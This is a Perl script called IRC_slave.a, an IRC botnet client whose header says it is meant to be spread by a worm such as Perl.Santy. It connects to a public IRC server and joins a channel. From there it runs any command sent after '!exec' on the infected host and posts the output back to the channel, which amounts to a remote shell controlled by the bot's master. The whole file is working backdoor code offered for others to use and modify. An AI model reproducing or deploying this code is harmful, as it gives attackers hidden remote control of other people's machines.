#!/usr/bin/perl
# IRC_slave.a coded by saic
#
# IRC_slave can be a very powerful script if it's combined with a
# worm such as Perl.Santy giving the master an enviornment to work
# with. This code allows you, as the user, to execute commands on
# the host running the script. The only commands added in the public
# release are !disconnect (which disconnects the slave - duh) and !exec
# (which executes commands on the host running on the script).
#
# The public release of IRC_slave.a is FULLY under the GNU GPL. It wasn't
# an accident that license.txt was added to the same directory. If you
# want to link, publish or even modify this coding at least ADMIT that
# you did not write it. Lovemail can be sent to introop at gmail dot com.

use IO::Socket;

#######################
# CONNECTION SETTINGS #
#######################

 $nickname = 'Shell';
 $channel = 'channel';
 $server = 'irc.quakenet.org';
 $port = '6667';

######################
# RANDOMIZE NICKNAME #
######################

 $lower = 0;
 $upper = 9999;
 $random = int(rand( $upper-$lower+1 ) ) + $lower;

 my $IRC_nickname = "$nickname$random";

##############
# CONNECTION #
##############

 $sock = IO::Socket::INET->new(
 PeerAddr => $server, 
 PeerPort => $port, 
 Proto => 'tcp' ) or die "could not make the connection";

 while ($line = <$sock>) {
  print $line;
   if ($line =~ /(NOTICE AUTH).*(checking ident)/i) {
    print $sock "NICK $IRC_nickname$random\nUSER $IRC_nickname 0 0 :$IRC_nickname\n";
    last;
   }
 }

 while($line = <$sock>){
  print $line;
   if($line =~ /^PING/){
    print $sock "PONG :" . (split(/ :/, $line))[1];
   }
   if($line =~ /(376|422)/i){
    print $sock "NICKSERV :identify nick_password\n";
    last;
   }
 }

 sleep 3;
 print $sock "JOIN #$channel\n";

 while ($line = <$sock>) {
  ($command, $text) = split(/ :/, $line);
   if ($command eq 'PING') {
    while ( (index($text,"\r") >= 0) || (index($text,"\n") >= 0) ) {
     chop($text);
    }
    print $sock "PONG $text\n";
    next;
   }
  ($nick,$type,$channel) = split(/ /, $line);
  ($nick,$hostname) = split(/!/, $nick);
  $nick =~ s/://;
  $text =~ s/://;
  $/ = "\r\n";
   while ($text =~ m#$/$#) {
    chomp($text);
   }

#####################
# DISCONNECTING BOT #
#####################
# Usage: !disconnect bot_nickname

    if ($text =~ /!disconnect $IRC_nickname/gi) {
       print $sock "QUIT\n";
    }

#####################
# COMMAND EXECUTION #
#####################
# Usage: !exec command
# This will kill the bot if the output is large, but I'm not fixing
# it in the public release.

   if ($text =~ /!exec/gi) {
    $text =~ s/!exec//g;
    my $exec_output;
    $exec_output = readpipe "$text";
    print $sock "PRIVMSG $channel :$exec_output\r\n";
   }
}